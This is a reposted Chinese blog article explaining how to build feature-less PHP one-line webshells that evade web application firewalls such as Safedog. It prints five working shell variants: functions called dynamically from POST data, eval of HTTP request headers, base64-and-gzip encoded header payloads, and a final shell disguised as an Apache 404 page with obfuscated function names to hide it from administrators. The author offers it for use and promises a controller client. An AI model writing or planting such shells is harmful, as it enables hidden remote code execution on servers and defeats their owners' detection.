(转)无特征过狗一句话猥琐思路
0×01? 姿勢(shì)一
我們知道PHP動(dòng)態(tài)函數(shù)很有意思,那么你猜到了,姿勢(shì)一就是:
<?php$_POST['xx']($_POST['oo']);?>注意XX參數(shù)設(shè)置成EVAL是不行的哦,讓我們來(lái)看看效果:
?
?
0×02? 姿勢(shì)二
關(guān)鍵詞是過(guò)濾了,但是你老是交一些奇奇怪怪的東西,人家?guī)兹f(wàn)塊買(mǎi)的WAF也不是吃白飯的啊。好好好你丑你說(shuō)什么都是對(duì)的,我們不交了,getallheaders函數(shù)能夠獲取請(qǐng)求頭內(nèi)容,來(lái)試試新家伙:
<?phpeval(getallheaders()['Accept-Language']);>當(dāng)然你要是猥瑣到這樣,那恭喜你,你已經(jīng)學(xué)會(huì)舉一反三了...
<?php$a=getallheaders()['xxx'];$a(getallheaders()['ooo']);>?
?
0×03? 姿勢(shì)三
遇到一般的waf可能上個(gè)姿勢(shì)就能繞過(guò),但是還是會(huì)有一些臭不要臉的waf會(huì)檢測(cè)http請(qǐng)求頭里的內(nèi)容,咱們還是從技術(shù)角度出發(fā)來(lái)看看這個(gè)問(wèn)題怎么繞過(guò),猥瑣的人可能首先想到了的base64,更猥瑣的人可能想到了各種自寫(xiě)函數(shù)進(jìn)行編碼,替換,但是我見(jiàn)過(guò)最猥瑣的思路是gzuncompress和gzcompress函數(shù),話不多說(shuō)我們先放殼:
<?phpeval(gzuncompress(base64_decode(getallheaders()['xx'])));>http頭部的里面的xx字段看起來(lái)像base64編碼(其實(shí)實(shí)他就是base64編碼),但是解開(kāi)之后發(fā)現(xiàn)是亂碼,waf識(shí)別不出來(lái)里面的內(nèi)容,哈哈是不夠夠猥瑣呢..如果你要是還沒(méi)不夠猥瑣,那么來(lái)吧,互相傷害吧:
<?php$xx=gzuncompress(base64_decode(getallheaders()['xx']));$xx(gzuncompress(base64_decode(getallheaders()['oo'])));>?
0x04 ?姿勢(shì)四
目前為止,這個(gè)殼在傳輸過(guò)程中已經(jīng)沒(méi)有任何特征了,但是管理員畢竟是吃白飯的,某日瀏覽小黃文可能無(wú)意間發(fā)現(xiàn)你的殼,一堆什么莫名的的base64函數(shù)和查了半天資料也搞不懂的gzuncompress函數(shù),管理員手一抖說(shuō)不定就給刪了呢,這時(shí)候你需要偽裝你的殼,偽裝成404是個(gè)比較安全的方法,為了防止管理員訪問(wèn)殼時(shí)出現(xiàn)未提交相應(yīng)的http header導(dǎo)致php報(bào)錯(cuò),我們?cè)偌由先绻袛?#xff0c;完整的shell如下:
<!DOCTYPE HTMLPUBLIC"-//IETF//DTD HTML 2.0//EN"><html><head><title>404Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p>...<?php$xx=getallheaders()['xx'];$oo=getallheaders()['oo'];if($xx!=""and$oo!=""){$xx=gzuncompress(base64_decode($xx));$xx(gzuncompress(base64_decode($oo)));}> </body></html>?
0x05? 姿勢(shì)五
可能你厭倦了每次提交數(shù)據(jù)都需要進(jìn)行手動(dòng)編碼再提交。技術(shù)的目的本身就是機(jī)器代替手工,那好用蟒來(lái)寫(xiě)一個(gè)我們專屬的一句話控制端吧。不過(guò)在這之前我們需要再此改進(jìn)我們的外殼,使其變得更加隱蔽,更加實(shí)用最新版的外殼如下:
<!DOCTYPE HTMLPUBLIC"-//IETF//DTD HTML 2.0//EN"><html><head><title>404Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><?php//ZUp4THFyVHl5eS9LVGN5ckF3QVZGZ1Av; $error0="404_not_found";$error1="400_not_found";$error2="302_not_found";...$_="\x6d\x64\x35";$__=$_($_.$_.$_);$header_errors=chr(103).substr($__,14,1)."t".chr(97)."llh".substr($__,14,1)."aders";$base_errors=chr(98)."\x61".chr(115).substr($__,14,1)."6"."\x34"."_".chr(100)."\x65"."c".chr(111)."d".substr($__,14,1);$gz_errors="\x67\x7a".chr(117).chr(110)."com"."\x70\x72\x65\x73\x73";if($header_errors()[$error1]!=""and$header_errors()[$error2]!=""){echo$error0;$error=$gz_errors($base_errors($base_errors($header_errors()[$error2])));$error($gz_errors($base_errors($base_errors($header_errors()[$error1]))));echo$error0;}></body></html>我們看到其實(shí)和上個(gè)姿勢(shì)的差別主要是加了一些混淆,像的base64,gzuncompress等這些函數(shù)都進(jìn)行了動(dòng)態(tài)組合,更具有迷惑性,另外執(zhí)行命令前后分別有一次回波進(jìn)行輸出,這主要是方便我們的一句話客戶端在獲取服務(wù)器相應(yīng)內(nèi)容后能夠利用正則截取真正的執(zhí)行結(jié)果,而不是多了一些其他的HTML之類的沒(méi)用的內(nèi)容。
附下我們客戶端的執(zhí)行效果:
?
?
PS:客戶端目前只寫(xiě)了個(gè)小框架,后面功能稍微完善點(diǎn)之后會(huì)放給大家玩的。
?
轉(zhuǎn)載于:https://www.cnblogs.com/backlion/p/7015724.html
總結(jié)
以上是生活随笔為你收集整理的(转)无特征过狗一句话猥琐思路的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: python基础-类的继承
- 下一篇: [Go] 正则表达式 示例